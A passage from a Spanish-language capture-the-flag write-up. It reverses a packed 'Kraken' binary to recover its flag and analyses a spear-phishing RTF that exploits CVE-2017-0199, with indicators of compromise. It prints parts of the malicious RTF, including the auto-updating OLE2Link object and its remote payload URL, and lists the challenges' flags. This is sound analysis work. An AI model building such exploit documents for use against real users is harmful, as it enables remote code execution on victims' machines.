42003a:       31 ff                   xor    edi,edi
42003c:       c1 c7 06                rol    edi,0x6
42003f:       31 c0                   xor    eax,eax
420041:       ac                      lods   al,BYTE PTR ds:[esi]
420042:       31 c7                   xor    edi,eax
420044:       48                      dec    eax
420045:       7d f5                   jge    0x42003c
420047:       3b 3b                   cmp    edi,DWORD PTR [ebx]
[... 1 líneas más ...]
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `420000: bb 08 01 40 00 mov ebx,0x400108` | tabla de hashes de las funciones buscadas |
| **3** | `42000a: bf 00 00 43 00 mov edi,0x430000` | donde guardará las direcciones encontradas (IAT) |
| **5** | `420010: 8b 40 0c mov eax,DWORD PTR [eax+0xc]` | PEB → lista de módulos cargados (así encuentra `kernel32.dll` sin importarla) |
| **24** | `42003c: c1 c7 06 rol edi,0x6` | **algoritmo de hash**: rota 6 bits y hace XOR con cada carácter del nombre |
| **30** | `420047: 3b 3b cmp edi,DWORD PTR [ebx]` | compara el hash calculado con el de la tabla |

**Pista (línea 24)**

Hash = `rol(h,6) xor carácter`. Con la lista de funciones de kernel32 se pueden identificar.

**Siguiente paso:** Ver qué hace el programa principal con esas funciones.

### Paso 7. Main: llamada a [0x430000] y datos cifrados

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420193 \
  --stop-address=0x4201f8 unpacked.bin | tail -n +8
```

**Salida esperada**

```
420193:       ff 15 00 00 43 00       call   DWORD PTR ds:0x430000
420199:       89 45 c0                mov    DWORD PTR [ebp-0x40],eax
42019c:       c6 45 e4 e5             mov    BYTE PTR [ebp-0x1c],0xe5
4201a0:       c6 45 e5 7a             mov    BYTE PTR [ebp-0x1b],0x7a
4201a4:       c6 45 e6 77             mov    BYTE PTR [ebp-0x1a],0x77
4201a8:       c6 45 e7 fb             mov    BYTE PTR [ebp-0x19],0xfb
4201ac:       c6 45 e8 e1             mov    BYTE PTR [ebp-0x18],0xe1
4201b0:       c6 45 e9 56             mov    BYTE PTR [ebp-0x17],0x56
4201b4:       c6 45 ea 68             mov    BYTE PTR [ebp-0x16],0x68
4201b8:       c6 45 eb fd             mov    BYTE PTR [ebp-0x15],0xfd
4201bc:       c6 45 ec fd             mov    BYTE PTR [ebp-0x14],0xfd
4201c0:       c6 45 ed f8             mov    BYTE PTR [ebp-0x13],0xf8
4201c4:       c6 45 ee 79             mov    BYTE PTR [ebp-0x12],0x79
```

```
4201c8:       c6 45 ef 01             mov    BYTE PTR [ebp-0x11],0x1
4201cc:       c6 45 f0 02             mov    BYTE PTR [ebp-0x10],0x2
4201d0:       c6 45 f1 ff             mov    BYTE PTR [ebp-0xf],0xff
4201d4:       c6 45 f2 7d             mov    BYTE PTR [ebp-0xe],0x7d
4201d8:       c6 45 f3 83             mov    BYTE PTR [ebp-0xd],0x83
4201dc:       c6 45 f4 7e             mov    BYTE PTR [ebp-0xc],0x7e
4201e0:       c6 45 f5 86             mov    BYTE PTR [ebp-0xb],0x86
4201e4:       c6 45 f6 67             mov    BYTE PTR [ebp-0xa],0x67
4201e8:       c6 45 f7 66             mov    BYTE PTR [ebp-0x9],0x66
4201ec:       c6 45 f8 64             mov    BYTE PTR [ebp-0x8],0x64
4201f0:       c6 45 f9 66             mov    BYTE PTR [ebp-0x7],0x66
4201f4:       c6 45 fa cd             mov    BYTE PTR [ebp-0x6],0xcd
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `420193: ff 15 00 00 43 00 call DWORD PTR ds:0x430000` | llama a la 1.ª función resuelta (todavía desconocida) |
| **2** | `420199: 89 45 c0 mov DWORD PTR [ebp-0x40],eax` | guarda su resultado: se usará como clave |
| **3** | `42019c: c6 45 e4 e5 mov BYTE PTR [ebp-0x1c],0xe5` | empieza a escribir 23 bytes cifrados en la pila (0xe5, 0x7a, ...) |

## Paso 8. Bucle de descifrado y salida

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420210 \
  --stop-address=0x420270 unpacked.bin | tail -n +8
```

Salida esperada

```
420210:       8b 45 d8                mov    eax,DWORD PTR [ebp-0x28]
420213:       8a 4c 05 e4             mov    cl,BYTE PTR [ebp+eax*1-0x1c]
420217:       88 4d e3                mov    BYTE PTR [ebp-0x1d],cl
42021a:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
42021e:       83 f2 7c                xor    edx,0x7c
420221:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
420224:       8b 45 c0                mov    eax,DWORD PTR [ebp-0x40]
420227:       25 ff 00 00 00          and    eax,0xff
42022c:       0f b6 4d e3             movzx  ecx,BYTE PTR [ebp-0x1d]
420230:       03 c8                   add    ecx,eax
420232:       88 4d e3                mov    BYTE PTR [ebp-0x1d],cl
420235:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
420239:       f7 da                   neg    edx
42023b:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
42023e:       0f b6 45 e3             movzx  eax,BYTE PTR [ebp-0x1d]
420242:       c1 f8 07                sar    eax,0x7
420245:       0f b6 4d e3             movzx  ecx,BYTE PTR [ebp-0x1d]
420249:       d1 e1                   shl    ecx,1
42024b:       0b c1                   or     eax,ecx
42024d:       88 45 e3                mov    BYTE PTR [ebp-0x1d],al
420250:       0f b6 55 e3             movzx  edx,BYTE PTR [ebp-0x1d]
420254:       2b 55 d8                sub    edx,DWORD PTR [ebp-0x28]
420257:       88 55 e3                mov    BYTE PTR [ebp-0x1d],dl
42025a:       8b 45 d8                mov    eax,DWORD PTR [ebp-0x28]
42025d:       8a 4d e3                mov    cl,BYTE PTR [ebp-0x1d]
420260:       88 4c 05 e4             mov    BYTE PTR [ebp+eax*1-0x1c],cl
420264:       eb 9b                   jmp    0x420201
420266:       8d 55 e4                lea    edx,[ebp-0x1c]
420269:       52                      push   edx
42026a:       ff 15 10 00 43 00       call   DWORD PTR ds:0x430010
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 5 | `42021e: 83 f2 7c xor edx,0x7c` | paso 1: XOR con 0x7c |
| 8 | `420227: 25 ff 00 00 00 and eax,0xff` | toma el byte bajo del resultado de [0x430000] |
| 10 | `420230: 03 c8 add ecx,eax` | paso 2: suma ese byte |
| 13 | `420239: f7 da neg edx` | paso 3: niega |
| 18 | `420249: d1 e1 shl ecx,1` | paso 4: rota 1 bit a la izquierda (con `sar 7` + `or`) |
| 22 | `420254: 2b 55 d8 sub edx,DWORD PTR [ebp-0x28]` | paso 5: resta la posición del byte |
| 30 | `42026a: ff 15 10 00 43 00 call DWORD PTR ds:0x430010` | envía el texto a la función [0x430010] |

**Pista (línea 8)**

La clave es **un solo byte** que viene de [0x430000]: solo 256 posibilidades.

**Siguiente paso:** Identificar [0x430000] y [0x430010] y probar los 256 valores.

### Paso 9. Identificar funciones y descifrar

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
python3 kraken_solve.py TheKraken*.exe kernel32_exports.txt
```

Qué hace cada parte

| | |
|---|---|
| `kraken_solve.py` | script: calcula el hash de las 1.537 funciones de kernel32, las compara con la tabla del exe y prueba los 256 valores de clave |
| `kernel32_exports.txt` | lista de funciones de `kernel32.dll` (en la misma carpeta) |

Salida esperada

```
== Imports resueltos (IAT en 0x430000) ==
  [0x430000]  hash=0x35002069  ->  GetACP
  [0x430004]  hash=0x3d4b4991  ->  GetCurrentProcess
  [0x430008]  hash=0x02aef17b  ->  IsProcessorFeaturePresent
  [0x43000c]  hash=0xe9826fc6  ->  LoadLibraryA
  [0x430010]  hash=0x12d183bb  ->  OutputDebugStringA
  [0x430014]  hash=0x06a232ca  ->  SetUnhandledExceptionFilter
  [0x430018]  hash=0x3ccc4310  ->  TerminateProcess
  [0x43001c]  hash=0x4ba23380  ->  UnhandledExceptionFilter

== Candidatos legibles según el byte bajo devuelto por [0x430000] ==
  k=0x44 ( 68): 'Flag: Kongespeilet1250' + '\x00'
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 2 | `[0x430000] hash=0x35002069 -> GetACP` | [0x430000] = `GetACP`: página de códigos ANSI del Windows (depende del idioma) |
| 6 | `[0x430010] hash=0x12d183bb -> OutputDebugStringA` | [0x430010] = `OutputDebugStringA`: envía el texto al **depurador**, no a la pantalla |
| 12 | `k=0x44 ( 68): 'Flag: Kongespeilet1250' + '\x00'` | de 256 valores solo `0x44` da texto legible terminado en byte nulo `\x00` |

**Pista (línea 12)**

Texto descifrado: `Flag: Kongespeilet1250`.

**Siguiente paso:** Calcular el MD5 de `Kongespeilet1250`.

### Paso 10. Flag en MD5

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
echo -n "Kongespeilet1250" | md5sum
```

**Salida esperada**

```
1 d11c2e023a6a0fb3105121dade32232b  -
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `d11c2e023a6a0fb3105121dade32232b -` | MD5 del valor |

**Pista (línea 1)**

**Flag:** `flag{d11c2e023a6a0fb3105121dade32232b}`

**Siguiente paso:** Enviar.

## 5.7. Resultado

**Flag de The Kraken**

`flag{d11c2e023a6a0fb3105121dade32232b}`

Texto descifrado: `Flag: Kongespeilet1250` (con `k = 0x44`).

## 5.8. Imports resueltos por hash

Algoritmo del *resolver*: $h \leftarrow \mathrm{rol}_{32}(h, 6) \oplus c$ para cada carácter $c$ del nombre, incluido el nulo final.

| IAT | Hash | API |
|---|---|---|
| 0x430000 | 0x35002069 | `GetACP` — página de códigos ANSI; su byte bajo es la clave |
| 0x430004 | 0x3d4b4991 | `GetCurrentProcess` |
| 0x430008 | 0x02aef17b | `IsProcessorFeaturePresent` |
| 0x43000c | 0xe9826fc6 | `LoadLibraryA` |
| 0x430010 | 0x12d183bb | `OutputDebugStringA` — salida de la flag |
| 0x430014 | 0x06a232ca | `SetUnhandledExceptionFilter` |
| 0x430018 | 0x3ccc4310 | `TerminateProcess` |
| 0x43001c | 0x4ba23380 | `UnhandledExceptionFilter` |

Las cuatro últimas pertenecen al código estándar de Visual C++ para la comprobación de *stack cookies* (`__report_gsfailure`).

## 5.9. Algoritmo de descifrado

Para cada posición $i \in [0, 22]$ del array de `main`:

$$c'_i = \mathrm{rol}_8\big(\,-\,((c_i \oplus \texttt{0x7C}) + k) \bmod 256,\ 1\big) - i \pmod{256}, \qquad k = \texttt{GetACP}() \,\&\, \texttt{0xFF}$$

**Por qué al ejecutarlo "no pasa nada"**: (1) el texto va a `OutputDebugStringA`, que solo se ve con un depurador o con *DebugView* de Sysinternals; (2) el descifrado depende de la página de códigos del sistema, y con las habituales (1252 en Europa occidental, 65001 UTF-8…) sale basura. El camino previsto es el reversing. El bucle de números `double` del principio de `main` llama a dos funciones vacías y no afecta al resultado: es relleno para despistar.

## 5.10. Técnicas observadas (MITRE ATT&CK)

| | |
|---|---|
| T1027.002 | *Software Packing*: Crinkler. |
| T1027.007 | *Dynamic API Resolution*: imports resueltos por hash recorriendo el PEB. |
| T1614.001 | *System Language Discovery*: `GetACP` condiciona el resultado. |
| T1027 | *Obfuscated Files or Information*: cadena cifrada y salida por canal de depuración. |

## 5.11. Contexto: ¿por qué se llama así?

- El **Kraken** es el monstruo marino de la tradición escandinava, capaz de hundir barcos. Su **primera descripción conocida** está en el *Konungs skuggsjá* (en noruego **Kongespeilet**, "El espejo del rey"), un texto noruego escrito **hacia el año 1250**, donde aparece como *hafgufa*, una criatura tan grande que los marineros la confundían con una isla. La flag es, literalmente, "el origen del Kraken".
- Como el monstruo, el binario oculta su tamaño real: 932 bytes en disco que se despliegan en memoria. **Kraken** es además el nombre de un algoritmo de compresión (Oodle Kraken), y el reto gira en torno a un compresor.
- **Crinkler** es un compresor-enlazador creado para la demoscene (intros de 4 KB) por Rune L. H. Stubbe (*Mentor*) y Aske Simon Christensen (*Blueberry*). Su firma es la cabecera `MZ` seguida de la versión en ASCII y `PE` en el offset 4.

## 5.12. Conclusión

Un ejecutable diminuto puede esconder mucho: empaquetado, resolución dinámica de APIs, dependencia del idioma del sistema y salida por un canal invisible. La emulación permite desempaquetar sin riesgo y el reconocimiento de patrones (hash de nombres, terminador nulo) valida la solución sin necesidad de ejecutar el programa.

# 6. Reversing: Spear Phishing... Can you catch me? (parte 1)

## 6.1. Ficha del reto

| | |
|---|---|
| Categoría | Reversing / análisis de documentos maliciosos |
| Dificultad | 1/5 |
| Contraseña | `infected` (rar) |
| Objetivo parte 1 | Determinar qué CVE explota el documento (formato `CVE-XXXX-XXXX`) |
| Objetivo parte 2 | Determinar la URL dañina relacionada con el documento (se desbloquea al resolver la parte 1) |
| Herramientas | `unrar`, `rtfobj` (oletools), `grep`, `xxd`, Python |

## 6.2. Enunciado

> *Un empleado ha reportado al equipo de seguridad un e-mail sospechoso que podría ser fruto de una campaña de spear phishing a la compañía. Al parecer, el documento carece de contenido alguno y presenta un formato poco común. Es probable que el mismo se aproveche de alguna vulnerabilidad y que el equipo haya sido comprometido. Tu objetivo será determinar qué CVE trata de explotar dicho documento (CVE-XXXX-XXXX).*
> [Parte 2:] *... determinar qué URL dañina está relacionada con el mismo.*

## 6.3. Ficheros analizados

| Fichero | Bytes | Descripción |
|---|---|---|
| `suspicious_*.rar` | 835 | RAR cifrado del enunciado |
| `MD5 6c51db1b0f92b7a8777c6822c2f9a8a5` | | `SHA1 b7d5c1699bce2fa79ae15ceb6b1e83458f4cebfa` |
| `Nominas.rtf` | 5.725 | Documento RTF malicioso, sin texto |
| `MD5 799417ddacb87275c7121e1620415be3` | | `SHA1 08b631db46e76a8be206f9d5cf9a33048f7e3b80` |

## 6.4. Resumen del análisis

1. El RAR (formato 2.9, cifrado AES) contiene `Nominas.rtf`: un RTF **sin texto**.
2. Su único contenido es un objeto OLE con `\objautlink\objupdate` (se actualiza solo al abrirse) de clase `OLE2Link`, que contiene un **URL Moniker** apuntando a `http://dagobah.local/logo.doc`.
3. Ese patrón es exactamente el de **CVE-2017-0199**. `rtfobj` lo confirma y extrae la URL.

## 6.5. Conceptos clave

| | |
|---|---|
| **Phishing / spear phishing** | engaño por correo; *spear* = dirigido a una organización o persona concreta. |
| **RTF** | formato de texto enriquecido que Word abre directamente; puede contener objetos OLE. |
| **OLE** | tecnología de Windows para insertar o enlazar objetos de otros programas en un documento. |
| **Objeto enlazado** | en vez de contener los datos, apunta a una ubicación externa (aquí, una URL). |
| **`\objupdate`** | palabra de control RTF que obliga a actualizar el objeto al abrir el documento. |
| **URL Moniker / CLSID** | componente COM que resuelve URLs; el CLSID es su identificador único. |
| **HTA / mshta.exe** | aplicación HTML de Windows; `mshta.exe` ejecuta su VBScript/JScript con permisos del usuario. |
| **CVE** | identificador público de una vulnerabilidad (año + número). |
| **0-day** | vulnerabilidad explotada antes de que exista parche. |

## 6.6. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me`

### Paso 1. Entrar y verificar

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd '/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me' \
  && md5sum suspicious_*.rar
```

**Salida esperada**

```
1 6c51db1b0f92b7a8777c6822c2f9a8a5  suspicious_-6c51db1b0f92b7a8777c6822c2f9a8a5(1).rar
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `6c51db1b0f92b7a8777c6822c2f9a8a5 su spicious_-6c51db1b0f92b7a8777c6822...` | MD5 correcto |

**Errores posibles**

| | |
|---|---|
| `no matches found: ...` | zsh no encuentra el fichero del comodín: no estás en la carpeta del reto. Ejecuta el `cd` del paso 1 de la sección. |

### Paso 2. Contenido del RAR

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you
catch me]#
unrar lt -pinfected suspicious_*.rar | grep -E 'Name|Size|mtime|Flags|Compression'
```

**Qué hace cada parte**

| | |
|---|---|
| `unrar lt` | lista con información técnica |
| `-pinfected` | contraseña |

**Salida esperada**

```
        Name: Nominas.rtf
        Size: 5725
       mtime: 2017-09-09 18:11:08,729711700
 Compression: RAR 1.5(v29) -m3 -md=128k
       Flags: encrypted
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `Name: Nominas.rtf` | un documento RTF llamado "Nóminas" (cebo) |
| 3 | `mtime: 2017-09-09 18:11:08,729711700` | fecha 9/9/2017 |
| 5 | `Flags: encrypted` | cifrado |

## Paso 3. Extraer el documento

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
unrar x -o+ -pinfected suspicious_*.rar > /dev/null && ls -l Nominas.rtf && md5sum \
  Nominas.rtf && file Nominas.rtf
```

**Qué hace cada parte**

| | |
|---|---|
| `unrar x -o+` | extrae sobrescribiendo |

**Salida esperada**

```
-rw-r--r-- 1 root root 5725 Sep  9  2017 Nominas.rtf
799417ddacb87275c7121e1620415be3  Nominas.rtf
Nominas.rtf: Rich Text Format data, version 1, ANSI, code page 1252, default middle east
    ↪ language ID 1025
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `-rw-r-r- 1 root root 5725 Sep 9 2017 Nominas.rtf` | 5.725 bytes |
| 3 | `Nominas.rtf: Rich Text Format data, version 1, ANSI, code page 1252, d...` | es un RTF (Word lo abre directamente) |

**Errores posibles**

| | |
|---|---|
| `No abrir con Word/WordPad` | el documento explota una vulnerabilidad al abrirse |

## Paso 4. Contenido del RTF

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
head -c 760 Nominas.rtf; echo
```

**Qué hace cada parte**

| | |
|---|---|
| `head -c 760` | primeros 760 bytes |

**Salida esperada**

```
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\
    ↪ stshfhi
ch31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0
{\info
{\author }
{\operator }
}
{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
{
```

```
{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101
{\*\objclass Word.Document.8}
{\*\objdata 0105000002000000
090000004f4c45324c696e6b0000000000000000000000a0000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000100000
    ↪
00100000000000000001000000200000001000000
    ↪ fefffffff0000000000000000ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffff
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **8** | `{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\obj...` | objeto OLE **enlazado** (`objautlink`) que se **actualiza al abrir** (`objupdate`) |
| **9** | `{\*\objclass Word.Document.8}` | se hace pasar por un documento de Word |
| **11** | `090000004f4c45324c696e6b000000000000000000000a0000` | datos del objeto en hexadecimal: `4f4c45324c696e6b` |
| **12** | `d0cf11e0a1b11ae1000000000000000000000000000003e000300feff0900060000...` | `d0cf11e0` = cabecera de fichero OLE (formato de Office antiguo) |

**Pista (línea 8)**

Un documento sin texto cuyo único contenido es un objeto enlazado que se actualiza solo.

**Siguiente paso:** Identificar la clase del objeto y a qué apunta.

### Paso 5. Firmas clave

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
grep -oE -e objautlink -e objupdate -e 'objclass [A-Za-z.0-9]+' -e 4f4c45324c696e6b \
  -e e0c9ea79f9bace118c8200aa004ba90b Nominas.rtf | sort | uniq -c
```

**Qué hace cada parte**

| | |
|---|---|
| `grep -o -e ...` | muestra solo lo que coincide con cada patrón |
| `sort \| uniq -c` | cuenta apariciones |

**Salida esperada**

```
      1 4f4c45324c696e6b
      1 e0c9ea79f9bace118c8200aa004ba90b
      1 objautlink
      1 objclass Word.Document.8
      1 objupdate
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `1 4f4c45324c696e6b` | nombre de la clase del objeto, en hex |
| **2** | `1 e0c9ea79f9bace118c8200aa004ba90b` | CLSID del **URL Moniker** (en el orden de bytes de Windows) |

### Paso 6. Decodificar la clase

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
echo 4f4c45324c696e6b | xxd -r -p; echo
```

Qué hace cada parte

| | |
|---|---|
| `xxd -r -p` | hexadecimal a texto |

Salida esperada

```
1 OLE2Link
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `OLE2Link` | objeto `OLE2Link`: enlace OLE |

**Pista (línea 1)**

`OLE2Link` + URL Moniker + `objupdate` = patrón de **CVE-2017-0199**.

**Siguiente paso:** Confirmar con `rtfobj`.

### Paso 7. Análisis con rtfobj

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
rtfobj Nominas.rtf | tail -n +5
```

Qué hace cada parte

| | |
|---|---|
| `rtfobj` | herramienta de **oletools**: extrae los objetos OLE de un RTF y avisa de exploits conocidos |

Salida esperada

```
1  ===============================================================================
2  File: 'Nominas.rtf' - size: 5725 bytes
3  ---+----------+--------------------------------------------------------------
4  id |index     |OLE Object
5  ---+----------+--------------------------------------------------------------
6  0  |000001A2h |format_id: 2 (Embedded)
7     |          |class name: b'OLE2Link'
8     |          |data size: 2560
9     |          |MD5 = '9fef81351c107c98ad700549735f3bf8'
10    |          |CLSID: 00000300-0000-0000-C000-000000000046
11    |          |StdOleLink (embedded OLE object - Known Related to
12    |          |CVE-2017-0199, CVE-2017-8570, CVE-2017-8759 or CVE-2018-8174)
13    |          |Possibly an exploit for the OLE2Link vulnerability (VU#921560,
14    |          |CVE-2017-0199)
15    |          |URL extracted: http://dagobah.local/logo.doc
16 ---+----------+--------------------------------------------------------------
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 7 | `\| \|class name: b'OLE2Link'` | clase confirmada |
| 10 | `\| \|CLSID: 00000300-0000-000 0-C000-000000000046` | StdOleLink |
| 11 | `\| \|StdOleLink (embedded OLE object - Known Related to` | lista de CVE que usan OLE2Link |
| 13 | `\| \|Possibly an exploit for the OLE2Link vulnerability (VU#921...` | conclusión de la herramienta |
| 15 | `\| \|URL extracted: http://da gobah.local/logo.doc` | URL a la que apunta (parte 2) |

**Pista (línea 14)**

Solo el URL Moniker (sin Composite Moniker, sin `soap:wsdl=`, sin VBScript) corresponde a **CVE-2017-0199**.

**Siguiente paso:** MD5 del CVE.

### Paso 8. Flag en MD5

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me]#
echo -n "CVE-2017-0199" | md5sum
```

**Salida esperada**

```
1 93b146d21d3bdc8635836f8a11ba62b9  -
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `93b146d21d3bdc8635836f8a11ba62b9 -` | MD5 del valor |

**Pista (línea 1)**

**Flag parte 1:** `flag{93b146d21d3bdc8635836f8a11ba62b9}`

**Siguiente paso:** Enviar.

## 7. Reversing: Spear Phishing... Can you catch me? (parte 2)

Se desbloquea al resolver la parte 1 y usa **el mismo fichero** (mismo MD5). La pregunta cambia: ahora hay que dar la **URL dañina** relacionada con el documento, es decir, la URL a la que apunta el URL Moniker.

### 7.1. Ficheros

| Fichero | Bytes | Descripción |
|---|---|---|
| `suspicious_*.rar` | 835 | El mismo RAR que la parte 1 |
| `MD5 6c51db1b0f92b7a8777c6822c2f9a8a5` | | `SHA1 b7d5c1699bce2fa79ae15ceb6b1e83458f4cebfa` |
| `Nominas.rtf` | 5.725 | El mismo documento |
| `MD5 799417ddacb87275c7121e1620415be3` | | `SHA1 08b631db46e76a8be206f9d5cf9a33048f7e3b80` |

### 7.2. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2`

### Paso 1. Entrar y comprobar que es el mismo fichero

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd \
  '/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2' \
  && md5sum suspicious_*.rar && cmp suspicious_*.rar \
  '../Reversing Spear Phising... Can you catch me'/suspicious_*.rar && echo \
  'Mismo fichero que la parte 1'
```

**Qué hace cada parte**

| | |
|---|---|
| `cmp` | compara byte a byte; si son iguales no imprime nada |
| `../` | carpeta superior |

**Salida esperada**

```
6c51db1b0f92b7a8777c6822c2f9a8a5  suspicious_-6c51db1b0f92b7a8777c6822c2f9a8a52.rar
Mismo fichero que la parte 1
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `6c51db1b0f92b7a8777c6822c2f9a8a5 su spicious_-6c51db1b0f92b7a8777c6822...` | mismo MD5 que la parte 1 |
| 2 | `Mismo fichero que la parte 1` | `cmp` no encontró diferencias |

### Paso 2. Extraer el documento

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2]#
unrar x -o+ -pinfected suspicious_*.rar > /dev/null && md5sum Nominas.rtf
```

**Salida esperada**

```
799417ddacb87275c7121e1620415be3  Nominas.rtf
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `799417ddacb87275c7121e1620415be3 No minas.rtf` | mismo documento |

### Paso 3. URL según rtfobj

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2]#
rtfobj Nominas.rtf | grep -i 'url'
```

**Salida esperada**

```
|           |URL extracted: http://dagobah.local/logo.doc
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `\| \|URL extracted: http://da gobah.local/logo.doc` | la URL que Word visitaría al abrir el documento |

### Paso 4. URL exacta byte a byte

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2]#
python3 rtf_url.py Nominas.rtf
```

**Qué hace cada parte**

| | |
|---|---|
| `rtf_url.py` | script: busca el CLSID del URL Moniker en los datos del objeto, lee la longitud (4 bytes) y la URL en UTF-16 |

**Salida esperada**

```
objeto 0: URL Moniker en offset 0x83d, campo de 140 bytes
  URL exacta: 'http://dagobah.local/logo.doc'  (29 caracteres)
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `objeto 0: URL Moniker en offset 0x83d, campo de 140 bytes` | longitud del campo URL dentro del objeto |
| 2 | `URL exacta: 'http://dagobah.local/logo.doc' (29 caracteres)` | 29 caracteres, sin espacios ni caracteres ocultos |

**Pista (línea 2)**

URL dañina: `http://dagobah.local/logo.doc`.

**Siguiente paso:** MD5 de la URL.

### Paso 5. Flag en MD5

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing Spear Phising... Can you catch me - pt 2]#
echo -n "http://dagobah.local/logo.doc" | md5sum
```

Salida esperada

```
1 fb7534ecc904766563ad711331a11121  -
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `fb7534ecc904766563ad711331a11121 -` | MD5 de la URL |

**Pista (línea 1)**

**Flag parte 2:** `flag{fb7534ecc904766563ad711331a11121}`

**Siguiente paso:** Enviar.

## 7.3. Resultado

**Parte 1: CVE (validada)**

`flag{93b146d21d3bdc8635836f8a11ba62b9}`

**Parte 2: URL dañina**

`flag{fb7534ecc904766563ad711331a11121}`

Valores: `CVE-2017-0199` y `http://dagobah.local/logo.doc`. Si la plataforma no aceptara la URL completa, las variantes son `dagobah.local/logo.doc` (`39187b419652a52cb5bca8ed2d8952c7`) y `dagobah.local` (`d19e4c1cde7f30c64aadd9b2aff5cf49`).

## 7.4. Cómo funciona CVE-2017-0199

1. La víctima abre `Nominas.rtf` con Word.
2. `\objupdate` obliga a Word a actualizar el objeto enlazado sin pedir confirmación.
3. El objeto `OLE2Link` (`StdOleLink`, CLSID `00000300-0000-0000-C000-000000000046`) usa un *URL Moniker* (`79EAC9E0-BAF9-11CE-8C82-00AA004BA90B`) para descargar `http://dagobah.local/logo.doc`.
4. El servidor responde con `Content-Type: application/hta`. Aunque la extensión sea `.doc`,

Windows entrega el contenido al manejador de HTA, `mshta.exe`, que ejecuta el VBScript/JScript incrustado.

5. El script descarga e instala la carga final. Todo ocurre al abrir el documento, sin macros.

## 7.5. Descarte de CVE similares

`rtfobj` avisa de que `OLE2Link` también aparece en otras vulnerabilidades; cada una deja una huella distinta que no está en este fichero:

| CVE | Rasgo característico | ¿Presente? |
|---|---|---|
| CVE-2017-8570 | *Composite Moniker* + scriptlet `.sct` | No |
| CVE-2017-8759 | `soap:wsdl=` (moniker SOAP de .NET) | No |
| CVE-2018-8174 | VBScript "Double Kill" | No |
| **CVE-2017-0199** | **URL Moniker a un HTA vía `OLE2Link`** | **Sí** |

## 7.6. Indicadores de compromiso (IOC)

| | |
|---|---|
| Fichero | `Nominas.rtf`, MD5 `799417ddacb87275c7121e1620415be3` |
| URL | `http://dagobah.local/logo.doc` |
| Dominio | `dagobah.local` (red interna) |
| Firma RTF | `\objautlink`, `\objupdate`, `OLE2Link` (`4f4c45324c696e6b`) |
| CLSID | URL Moniker `{79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}` |

## 7.7. Técnicas observadas (MITRE ATT&CK)

| | |
|---|---|
| T1566.001 | *Spearphishing Attachment*: correo dirigido con un adjunto de "nóminas". |
| T1204.002 | *User Execution: Malicious File*: basta con que la víctima abra el documento. |
